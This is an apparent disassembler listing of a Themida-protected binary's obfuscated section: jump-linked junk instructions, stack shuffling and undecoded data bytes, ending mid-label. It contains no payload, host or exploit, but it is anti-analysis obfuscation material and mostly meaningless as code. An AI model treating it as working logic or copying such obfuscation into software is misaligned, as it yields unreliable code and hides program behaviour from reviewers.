		jmp	loc_55EA2D
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 55E95C24h, 68000003h, 2808h,	0B5240C89h, 3FB36856h
		dd 39E90000h, 81FFFEFAh, 96568FF7h, 0FFF9294Ah,	0E95F2434h
		dd 0FFFFEA5Ch, 0FDBEF581h, 0EB21FAFFh, 0E9D3F75Dh, 0FFFF200Bh
		dd 753CEB81h, 0BD557DA4h, 3F7E2324h, 0C5814D4Dh, 1E6002D8h
		dd 5C0FC381h, 0C381202Fh, 36812130h, 0EB81EB01h, 36812130h
		dd 0FEEFBDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570F9D:				; CODE XREF: Themida_:00561D37j
		or	dl, cl
		pop	ecx
		push	ecx
		jmp	loc_56004D
; ---------------------------------------------------------------------------


loc_570FA6:				; CODE XREF: Themida_:0055F711j
		mov	[esp], ebp
		push	733Dh
		mov	[esp], edi
		jmp	loc_565CA9
; ---------------------------------------------------------------------------


loc_570FB6:				; CODE XREF: Themida_:005693A0j
		mov	edx, 7A8C622Dh
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		jmp	loc_5608A6
; ---------------------------------------------------------------------------


loc_570FC7:				; CODE XREF: Themida_:0056A3E4j
		mov	[esp], ebx
		push	313Ah
		jmp	loc_567EF0
; ---------------------------------------------------------------------------
		dd 815DEE01h, 0ED5E5AEDh, 81F50156h, 0ED5E5AC5h, 0EA895E56h
		dd 0FFDC15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570FED:				; CODE XREF: Themida_:0056D0ADj
		mov	ebx, 78536BD0h
		add	ebx, 2AF04205h
		sub	ebx, 4F331B18h
		push	edi
		jmp	loc_568044
; ---------------------------------------------------------------------------


loc_571004:				; CODE XREF: Themida_:0055F8D0j
		mov	[esp], edi
		mov	edi, 1
		sub	dword ptr [esp+4], 5CBF3F6Eh
		add	dword ptr [esp+4], 1B23C70h
		sub	dword ptr [esp+4], 7BC2708Ch
		sub	[esp+4], edi
		push	edx
		mov	edx, 7BC2708Ch
		push	ebp
		jmp	loc_56F37D
; ---------------------------------------------------------------------------
		dd 0E9D3F7h, 87FFFF25h,	0FF5C243Ch
		db 34h,	24h, 58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 7EF0788Bh
		xor	esi, 4E8433C7h
		jmp	loc_56F81A
; ---------------------------------------------------------------------------
		db 0B9h
		dd 2, 0FFED71E9h, 29F181FFh, 81105A4Dh,	744FF6E1h, 0C1D9F76Eh
		dd 0A7E905E1h
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571077:				; CODE XREF: Themida_:0056B6E2j
		pop	edi
		push	esi
		mov	esi, 30BE786Ch
		sub	edx, esi
		pop	esi
		add	edx, esi
		add	edx, 30BE786Ch
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_57147A
; ---------------------------------------------------------------------------


loc_571095:				; CODE XREF: Themida_:005604F4j
		inc	eax
		not	eax
		inc	eax
		jmp	loc_5662CD
; ---------------------------------------------------------------------------
		dw 28B8h
		dd 350E0659h, 7B1C4F1Dh, 1B00E80Dh, 19A8E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5710B2:				; CODE XREF: Themida_:0056C741j
		add	esp, 4
		jmp	loc_56B8CC
; ---------------------------------------------------------------------------
		db 0E9h, 2Bh, 0C2h
		dd 0EA29FFFEh, 192FC281h, 335D44C1h, 14312414h,	24143324h
		dd 0E924248Bh, 0FFFF40BEh, 50F5815Bh, 8137CE0Fh, 5B3266E5h
		dd 67E5815Bh, 56660D18h, 0FFA4E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5710F5:				; CODE XREF: Themida_:00571419j
		sub	ebp, 687D1BF4h
		xor	esi, ebp
		pop	ebp
		push	esi
		jmp	loc_561B7E
; ---------------------------------------------------------------------------


loc_571104:				; CODE XREF: Themida_:0056B433j
		xchg	eax, [esp]
		push	eax
		jmp	loc_572AEF
; ---------------------------------------------------------------------------
aXauAFpZ	db '╤X─Н╩─н!fP╢z',0
		dw 66E6h
		dd 5AF52858h, 0EB885352h, 0E95BDE88h, 0FFFFB04Bh
; ---------------------------------------------------------------------------


loc_57112C:				; CODE XREF: Themida_:00561F13j
		pop	dword ptr [esp]
		jmp	loc_55F58F
; ---------------------------------------------------------------------------
		dd 4EC81h, 5FE90000h
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57113F:				; CODE XREF: Themida_:0055DB92j
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 929162Dh
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	0EE3h
		mov	[esp], edx
		push	esi
		jmp	loc_56EC2C
; ---------------------------------------------------------------------------


loc_571190:				; CODE XREF: Themida_:00563B3Ej
		add	ebx, 3EAE0467h
		jmp	loc_56FFCE
; ---------------------------------------------------------------------------
		db 81h
		dd 2C4h, 0BAFE900h, 89560000h, 5EF389FEh, 81243C8Bh, 4C4h
		dd 0C133E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5711BA:				; CODE XREF: Themida_:0055FB5Ej
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56EFFC
; ---------------------------------------------------------------------------


loc_5711C3:				; CODE XREF: Themida_:00569FC4j
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55EB72
; ---------------------------------------------------------------------------
		dd 1ACDBA52h, 0EF8129FCh, 19BD050Fh, 45A3EF81h,	0D701501Bh
		dd 45A3C781h, 0BD55501Bh, 4C69796Ch, 0FF3494E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5711F9:				; CODE XREF: Themida_:0056CD73j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_566758
; ---------------------------------------------------------------------------


loc_571204:				; CODE XREF: Themida_:0056B828j
		add	esp, 4
		or	eax, eax
		jz	loc_56E78D
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 59C8200Ch
		xor	[esp+4], ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55FDCD
; ---------------------------------------------------------------------------


loc_571239:				; CODE XREF: Themida_:00567F5Fj
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 5D364E75h
		and	ecx, eax
		jmp	loc_5620AF
; ---------------------------------------------------------------------------
		db 0BDh
		dd 79D94B18h, 0D6F7F587h, 1E9F587h, 66FFFFFDh, 66C8B60Fh
		dd 82E99C51h, 81FFFEC0h, 0FEA406C7h, 0EE8CE9EEh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571276:				; CODE XREF: Themida_:00566888j
		sub	dword ptr [esp+4], 1CF52255h
		jmp	loc_571A1F
; ---------------------------------------------------------------------------
		db 51h
		dd 0EE24C6B9h, 0E9E9D16Fh, 0FFFFDDB3h, 51241C89h, 0FF12BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571299:				; CODE XREF: Themida_:00569453j
		mov	ebp, 7DE739F2h
		xor	ebp, 747B479Fh
		jmp	loc_571D03
; ---------------------------------------------------------------------------


loc_5712A9:				; CODE XREF: Themida_:0056276Fj
		mov	edi, 17B4033Fh
		push	ebp
		push	0E105895h
		pop	ebp
		sub	ebp, 0E95845EBh
		jmp	loc_56020D
; ---------------------------------------------------------------------------
		dd 70B868h, 24348900h, 33241C31h, 1C31241Ch, 7F8DE924h
		dd 0EA81FFFFh, 2E34457h, 0FEEC4CE9h, 10EA81FFh,	81307E6Eh
		dd 0E12CB2C2h, 5BE95136h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5712F3:				; CODE XREF: Themida_:00560C81j
		mov	edx, 530B5413h
		jmp	loc_5690F0
; ---------------------------------------------------------------------------


loc_5712FD:				; CODE XREF: Themida_:00562C6Cj
		push	eax
		mov	eax, 34C95656h
		xor	eax, 0CE10E672h
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 36133D5Dh
		jmp	loc_55E3F6
; ---------------------------------------------------------------------------
		dw 315Dh
		dd 0D3F759CBh, 24E95543h, 66FFFFFFh, 52240489h,	17B00FB6h
		dd 14E9F000h, 0F7FFFEC7h, 5EBC1D3h, 4499C381h, 0D80144A7h
		dd 23AE9h, 0E9E78900h, 0FFFFB8FAh
; ---------------------------------------------------------------------------


loc_571354:				; CODE XREF: Themida_:00570DEFj
		add	al, 60h
		sub	al, ch
		sub	al, 60h
		sub	al, 93h
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	al, 36h
		sub	al, bl
		push	ebx
		mov	bh, 36h
		sub	al, bh
		pop	ebx
		sub	esp, 4
		jmp	loc_56AB8C
; ---------------------------------------------------------------------------
		db 81h
		dd 0D761C1EAh, 0BE565D28h, 4, 335EF201h, 14312414h, 0E96DE924h
		dd 1489FFFEh, 1322E924h, 0D9F60000h, 0B652C1FEh, 4E68053h
		dd 245CF652h, 4E72E901h, 815FFFFFh, 4C4h, 0E9A7E900h, 0C580FFFEh
		dd 0D7ED8001h, 5203EDC0h, 0A9E9D6B6h, 80FFFFADh, 0EAD001EAh
		dd 0BC4CE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5713E6:				; CODE XREF: Themida_:00568978j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5669AD
; ---------------------------------------------------------------------------
		dd 7C6768h, 66DCE900h, 2C87FFFFh, 0A8E95C24h, 83000007h
		dd 54E902EEh
		db 58h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57140F:				; CODE XREF: Themida_:0056309Cj
		mov	ebp, edi
		pop	edi
		dec	ebp
		or	ebp, 1BC93373h
		jmp	loc_5710F5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 243C8904h, 243C8B54h, 0FED3C2E9h, 4C381FFh
		dd 0E9000000h, 0FFFF7AD1h, 0FFFFFFBFh, 8DC681FFh, 161D844h
		dd 8DEE81FEh, 0E961D844h, 0FFFED51Eh
; ---------------------------------------------------------------------------


loc_571454:				; CODE XREF: Themida_:0056E1FEj
		sub	esp, 4
		jmp	loc_56C1C4
; ---------------------------------------------------------------------------
		dd 1A4CD81h, 0E9566C64h, 0FFFF4803h, 5E0EB81h, 3DE951A9h
		dd 30FFFF59h, 2111E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57147A:				; CODE XREF: Themida_:00571090j
		xor	edx, [esp]
		mov	esp, [esp]
		push	6E9Fh
		mov	[esp], edx
		push	1
		pop	edx
		jmp	loc_569476
; ---------------------------------------------------------------------------


loc_571493:				; CODE XREF: Themida_:00568E71j
		mov	[esp], eax
		jmp	loc_571647
; ---------------------------------------------------------------------------
		db 55h
		dd 313FBB53h, 3DE93003h, 0E9FFFFB6h, 0FFFEBE41h
; ---------------------------------------------------------------------------


loc_5714AC:				; CODE XREF: Themida_:0056D114j
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_564065
; ---------------------------------------------------------------------------


loc_5714C6:				; CODE XREF: Themida_:00568BE4j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 80h
		push	eax
		push	edx
		jmp	loc_568578
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0F18008E1h, 59CA88CFh, 0FF7D31E9h, 48B66FFh,	0B2685524h
		dd 0E9000028h, 0FFFF761Ch, 19B9C681h, 0E9591661h, 0FFFF1058h
		dd 9103F5B8h, 3F1354Eh,	0C5E94E91h, 55FFFF2Ch, 42474FFh
		dd 24048F5Dh, 0FE24248Bh, 0E99C2404h, 0FFFEBDB9h
; ---------------------------------------------------------------------------


loc_571534:				; CODE XREF: Themida_:0056B4A9j
		sub	ebp, eax
		pop	eax
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_562049
; ---------------------------------------------------------------------------
		dd 5EF3295Eh, 8B241C87h, 4892424h, 5585424h, 4,	8904EC83h
		dd 268241Ch, 0E9000000h, 0FFFF4F52h, 8704C383h,	335C241Ch
		dd 0C31240Ch, 240C3324h, 6624248Bh, 6866E1F7h, 0B4E9761Bh
		dd 5BFFFEF0h, 70B56859h, 0C890000h, 0C8B5424h, 49ECE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57159A:				; CODE XREF: Themida_:005695A6j
		add	ecx, edi
		pop	edi
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_56D6C5
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 4EC81h, 0C890000h, 4B924h, 0CA290000h
		dd 24148759h, 2424895Ch, 4B850h, 44010000h, 0FF580424h
		dd 835A2434h, 29E904C4h, 31FFFFD5h, 81FDE9F2h, 6855FFFFh
		dd 19F9h, 0E9242489h, 0FFFFEF10h, 0FF2434FFh, 52592434h
		dd 0B951E289h, 4, 0C8BCA01h, 4C48324h, 0FEBD3CE9h, 240C89FFh
		dd 0B46B96B9h, 6E9C15Dh, 8102E1C1h, 0EC57CCF1h,	0E8EB8107h
		dd 29681331h, 3AE952CBh, 89FFFF33h, 31E9240Ch
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571647:				; CODE XREF: Themida_:00571496j
		mov	eax, 65083FA5h
		sub	esi, eax
		pop	eax
		and	esi, 71862E89h
		push	ebx
		jmp	loc_568EBA
; ---------------------------------------------------------------------------


loc_57165B:				; CODE XREF: Themida_:00564E67j
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_55EAE8
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 11h
		dd 81638618h, 0AA3A97E7h, 24CDE921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571676:				; CODE XREF: Themida_:0055EDD9j
		sub	esp, 4
		jmp	loc_56E6C3
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 24043166h, 0BC5FE99Ch, 0F8B3FFFEh, 0FEBD83E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571695:				; CODE XREF: Themida_:00571B6Bj
		shr	cl, 6
		push	ebx
		mov	bh, 2Ah
		and	cl, bh
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	bx
		mov	bh, 36h
		sub	cl, bh
		pop	bx
		sub	cl, 4Dh
		sub	esp, 4
		jmp	loc_57217D
; ---------------------------------------------------------------------------


loc_5716C7:				; CODE XREF: Themida_:00564253j
		xor	esi, 6BBE4B7Fh
		sub	ebx, esi
		pop	esi
		xor	ebx, 0CEF98560h
		sub	esp, 4
		mov	[esp], ebx
		add	dword ptr [esp], 7BD27926h
		jmp	loc_56A665
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 0E904C283h, 3FCh, 0BE0F665Ch,	423668C8h
		dd 1C890000h, 196B6824h, 24890000h, 24048324h, 0BE685B04h
		dd 89000025h, 4DE92404h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57171F:				; CODE XREF: Themida_:0055DBBFj
		push	edi
		pop	esi
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 5AB71663h
		not	edi
		jmp	loc_565AC9
; ---------------------------------------------------------------------------
aSPHH		db 'S╩',7,'Pс,h%H',0
		align 10h
		dd 0E9242C89h, 0FFFF62F6h, 4EC81h, 2C890000h, 14B85024h
		dd 4054634Eh, 702C182Dh, 3E0C17Dh, 0D9FE9h, 1C18100h, 50000000h
		dd 3D6CAFB8h, 58C13159h, 3CFBC981h, 0F1816547h,	7C00EEFEh
		dd 39E9C801h, 81FFFF1Fh, 7E6960E2h, 3EAC17Bh, 0FF78FAE9h
		dd 0D7BB53FFh, 96B3974h, 36CAE9D9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5717A2:				; CODE XREF: Themida_:0057215Cj
		push	ebp
		mov	ebp, 7C8F7B83h
		mov	esi, ebp
		pop	ebp
		jmp	loc_5651D9
; ---------------------------------------------------------------------------
		dd 80BD5550h, 8937255Bh, 0E9565DE8h, 0FFFF60CAh, 4B45F381h
		dd 0DF89364Ah, 0F7F7815Bh, 561FF14Ch, 6F1FE7BEh, 49F6810Ch
		dd 0E9304F7Bh, 0FFFEE4FCh
; ---------------------------------------------------------------------------


loc_5717E0:				; CODE XREF: Themida_:005608CDj
		sub	[esp+8], edx
		pop	edx
		sub	dword ptr [esp+4], 2F855D9h
		jmp	loc_56501C
; ---------------------------------------------------------------------------
		dw 0F75Dh
		dd 81DDF7DDh, 8B01EFF5h, 9EF58109h, 89594A5Fh, 0C1425DEAh
		dd 0CFE908E2h, 81FFFFE8h, 471462F3h, 0DF89570Ch, 3C8BF889h
		dd 4C48124h, 0E9000000h, 0FFFEC613h, 0E910B05Bh, 0FFFFFC43h
		dd 4C481h, 83520000h, 348904ECh, 24148B24h, 0FF04C483h
		dd 505E2434h, 0FF03ABE9h, 48B66FFh, 39F46824h, 4890000h
		dd 5D46824h, 24890000h,	24048124h, 4, 2FE95558h, 81FFFFBBh
		dd 4C4h, 783EE900h, 248BFFFFh, 4896624h, 0BA67E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571886:				; CODE XREF: Themida_:0056C6FDj
		xor	ecx, [edi+24h]
		push	ebx
		push	esi
		mov	esi, 2FBC65BAh
		mov	ebx, 2FBC659Eh
		xor	ebx, esi
		pop	esi
		add	ebx, edi
		push	eax
		mov	eax, 0
		add	eax, ebx
		push	ebx
		mov	ebx, 0
		add	ebx, eax
		xor	[ebx], ecx
		pop	ebx
		pop	eax
		jmp	loc_56B7BA
; ---------------------------------------------------------------------------


loc_5718B3:				; CODE XREF: Themida_:0056AB8Fj
		mov	bh, 41h
		sub	bh, 1Fh
		push	edx
		mov	dh, 7
		not	dh
		jmp	loc_5701F9
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E950240Ch, 0FFFF5224h
; ---------------------------------------------------------------------------


loc_5718CC:				; CODE XREF: Themida_:005701E6j
		pop	esi
		add	edx, 52F33B1Bh
		sub	edx, 29B64EA5h
		add	edx, ebp
		jmp	loc_565A88
; ---------------------------------------------------------------------------
		dd 7883BE56h, 0DEF74D79h, 8A73F681h, 99E9CD79h,	8BFFFFBAh
		dd 0E9F72424h, 8904EC83h, 0FF54240Ch, 0C8B2434h, 4C48324h
		dd 0FFC75AE9h, 240433FFh, 6824248Bh, 412Ch, 0E9240489h
		dd 0FFFEB9CDh, 241C895Ch, 0D82880B3h, 0E923045Bh, 0FFFF858Fh
; ---------------------------------------------------------------------------


loc_571930:				; CODE XREF: Themida_:00566934j
		sub	ebx, 4AFC0507h
		dec	ebx
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0E62FE1CDh
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_56FE00
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFFAD04h, 3533B951h, 0C9817C7Eh, 0FDB30C4h, 0E9409149h
		dd 0FFFEC55Bh, 241C895Ch, 63BF6856h, 0CCE954B6h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57197F:				; CODE XREF: Themida_:0055DD81j
		mov	ebx, 4C931443h
		mov	eax, 533C7CCAh
		xor	eax, ebx
		pop	ebx
		or	eax, 46E85D56h
		xor	eax, 38923FC4h
		sub	eax, 0FFFFFFFFh
		shl	eax, 8
		shr	eax, 1
		push	ecx
		mov	ecx, 702F3247h
		shr	ecx, 6
		neg	ecx
		add	ecx, 2D4778CDh
		sub	eax, ecx
		pop	ecx
		add	ebp, 588F5D72h
		jmp	loc_561F81
; ---------------------------------------------------------------------------
		db 68h,	69h, 26h
		dd 0D4E90000h
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5719C7:				; CODE XREF: Themida_:005669B2j
		mov	esi, [esp]
		push	734Bh
		mov	[esp], eax
		jmp	loc_55DC3E
; ---------------------------------------------------------------------------
		db 56h
		dd 0BA525E54h, 58BD54F8h, 0D66E94Ah, 0E3C1FFFFh, 31EB8102h
		dd 2958C197h, 0F0015BDEh, 0E924348Bh, 0FFFF681Ah, 2C78159h
		dd 83000000h, 3C8904ECh, 2474FF24h, 6BE95F04h, 81FFFFFCh
		dd 3B6807E9h, 6BE9417Dh
		db 4Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571A1F:				; CODE XREF: Themida_:0057127Ej
		add	[esp+4], edi
		jmp	loc_562661
; ---------------------------------------------------------------------------


loc_571A28:				; CODE XREF: Themida_:005701D9j
		add	esp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5602C4
; ---------------------------------------------------------------------------
		db 81h
		dd 5B2AF0EBh, 9A46830h,	79E90000h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571A4F:				; CODE XREF: Themida_:00570BB0j
		push	ecx
		mov	ecx, 3E5C34FBh
		add	edx, ecx
		pop	ecx
		sub	edx, 6BAB1204h
		jmp	loc_56CE31
; ---------------------------------------------------------------------------
		db 81h
		dd 0C57D80C7h, 7CE9592Ch, 8BFFFF6Fh, 8E682424h,	8900001Bh
		dd 88E92414h, 50FFFFEBh, 405E089h, 83000000h, 87E902C0h
		dd 0E9FFFED3h, 0FFFEB859h, 8B5AD629h, 0C481242Ch, 4, 2BD55h
		dd 26E90000h, 89FFFEFAh, 0F206E9D5h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571AB2:				; CODE XREF: Themida_:005619C1j
		mov	edx, 24h
		add	edx, edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55FC44
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0C1768h, 24148900h, 0C281E289h, 4, 4BE56h
		dd 0F2010000h, 0E924348Bh, 0FFFF9CDAh, 5C241487h, 0DA15E95Eh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571AFE:				; CODE XREF: Themida_:00570046j
		push	17705D5Ch
		jmp	loc_56C3A6
; ---------------------------------------------------------------------------
		dd 405h, 7216E900h, 8F5AFFFFh, 248B2404h, 0B7CFE924h, 34FFFFFEh
		db 24h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 431B68DEh
		sub	edx, 7C71634Ch
		push	ecx
		mov	ecx, 13CE7934h
		jmp	loc_564046
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0ECh
		dd 0C24CE904h, 0C483FFFEh, 74FF5104h, 0B1E90424h, 5AFFFF42h
		dd 34FFDA30h, 8B2EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571B62:				; CODE XREF: Themida_:005661ADj
		add	esp, 4
		add	cl, 0FFh
		jmp	loc_571695
; ---------------------------------------------------------------------------
		dd 5704C483h, 0D1594BBFh, 1BC78122h, 0F728B959h, 81D7F7DFh
		dd 68451EEFh, 5FFB01CFh, 4F84B951h, 57416D3Ah, 640572BFh
		dd 0E9F93152h, 0FFFEEF4Eh
; ---------------------------------------------------------------------------


loc_571BA0:				; CODE XREF: Themida_:00566771j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56A48C
; ---------------------------------------------------------------------------
		db 80h
		dd 0DFF69BC7h, 0FF95E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571BB9:				; CODE XREF: Themida_:0056B168j
		pop	eax
		xor	esi, 6B961D38h
		and	esi, 652748BDh
		jmp	loc_563095
; ---------------------------------------------------------------------------
		db 51h
		dd 0CA884EB1h, 2920E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571BD6:				; CODE XREF: Themida_:0056FF36j
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		mov	edi, 61EE633Bh
		jmp	loc_565091
; ---------------------------------------------------------------------------
aYai		db 'Y─К;',0
		db 0F3h
aAZhX		db '─ц;Zh*x',0
		dd 3FCE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571BFA:				; CODE XREF: Themida_:0056D7C9j
		sub	edi, ebp
		pop	ebp
		sub	edi, 767379FDh
		sub	edi, 67D00A6Fh
		pop	ebp
		jmp	loc_567D72
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4BD5500h, 0E9000000h, 0FFFF6458h, 0E955C380h
		dd 0FFFF0AC0h
; ---------------------------------------------------------------------------


loc_571C28:				; CODE XREF: Themida_:0056BDEFj
		mov	esp, [esp]
		jmp	loc_56DF0B
; ---------------------------------------------------------------------------
		dd 0E9242C33h, 0FFFFA09Dh, 5DEE0159h, 0AEE9534Eh, 2DFFFED9h
		dd 4C6D6055h, 334CF205h, 0E9D82976h, 0FFFF3635h, 3FE9EB00h
		dd 1FFFEDAh, 8AC281EAh,	81292E40h, 3A761AC2h, 1DE95D07h
		dd 0F7FFFF7Fh, 549DE9D6h, 0DA31FFFFh, 61ACE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571C7E:				; CODE XREF: Themida_:0055ED1Aj
		xchg	eax, [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	3402h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_56CB3B
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 79E95550h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571CA7:				; CODE XREF: Themida_:00566103j
		push	ebp
		mov	ebp, 77AE5B54h
		jmp	loc_5696F8
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 7ED26FA3h, 6FA7F281h, 99E97ED2h
		db 0E9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571CC3:				; CODE XREF: Themida_:00569A09j
		push	esi
		jmp	loc_570E9F
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FF0F26E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571CD1:				; CODE XREF: Themida_:0055E5CDj
		push	6F27h
		mov	[esp], edx
		push	3E01h
		mov	[esp], eax
		mov	eax, 1212193Bh
		mov	edx, 14498606h
		sub	edx, 3182578Dh
		sub	edx, eax
		jmp	loc_566F81
; ---------------------------------------------------------------------------
		dd 5D65C281h, 7CE90AADh
		db 0D8h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_571D03:				; CODE XREF: Themida_:005712A4j
		xor	ebp, 436427BDh
		sub	ecx, ebp
		jmp	loc_5729C2
; ---------------------------------------------------------------------------


loc_571D10:				; CODE XREF: Themida_:0056F207j
		sub	edx, 3A51167Ch
		sub	esp, 4
		mov	[esp], ecx
		push	242Fh
		mov	[esp], edx
		push	3B99h
		mov	[esp], edx
		push	edi
		push	esi
		mov	esi, 70FB56C6h
		mov	edi, 0CC1CE04Dh
		add	edi, esi
		pop	esi
		shr	edi, 1
		xchg	ecx, edi
		jmp	loc_56E1C9
; ---------------------------------------------------------------------------
aXhzk		db 'Xh╖K',0
		dd 24348900h, 0FF6CA6E9h, 58A368FFh, 14890000h,	3408E924h
		dd 0C481FFFFh, 4, 4C481h, 52660000h, 4EC8350h, 0B1240C89h
		dd 0E984B08Ah, 0FFFFD656h
; ---------------------------------------------------------------------------


loc_571D80:				; CODE XREF: Themida_:00565C28j
		shr	ebx, 8
		or	ebx, 649B7BF5h
		jmp	loc_562646
; ---------------------------------------------------------------------------
		dw 6851h
		dd 105572F5h, 0FF554CE9h, 0E38953FFh, 4C381h, 0C3810000h
		dd 4, 0FFB5ABE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571DAD:				; CODE XREF: Themida_:0056485Aj
		add	edx, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		push	eax
		jmp	loc_5652AE
; ---------------------------------------------------------------------------


loc_571DC9:				; CODE XREF: Themida_:0057029Ej
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55D8E8
; ---------------------------------------------------------------------------
		db 5Fh
		dd 129F381h, 0BD5557E9h, 2AAA02B9h, 2C8BEB01h, 0ECC1E924h
		dd 31ADFFFFh, 7C86E9D8h, 5753FFFFh, 0FFB698E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571E01:				; CODE XREF: Themida_:0056A545j
		sub	esi, 4A91561Bh
		add	esi, 2E771E10h
		xor	esi, 0E4A1E41Ch
		add	edx, 7A023541h
		add	edx, esi
		sub	edx, 7A023541h
		jmp	loc_5638CD
; ---------------------------------------------------------------------------


loc_571E26:				; CODE XREF: Themida_:00566F15j
		pop	edx
		inc	esi
		push	ebp
		mov	ebp, 4A991E6Ah
		jmp	loc_561782
; ---------------------------------------------------------------------------


loc_571E33:				; CODE XREF: Themida_:00567CBDj
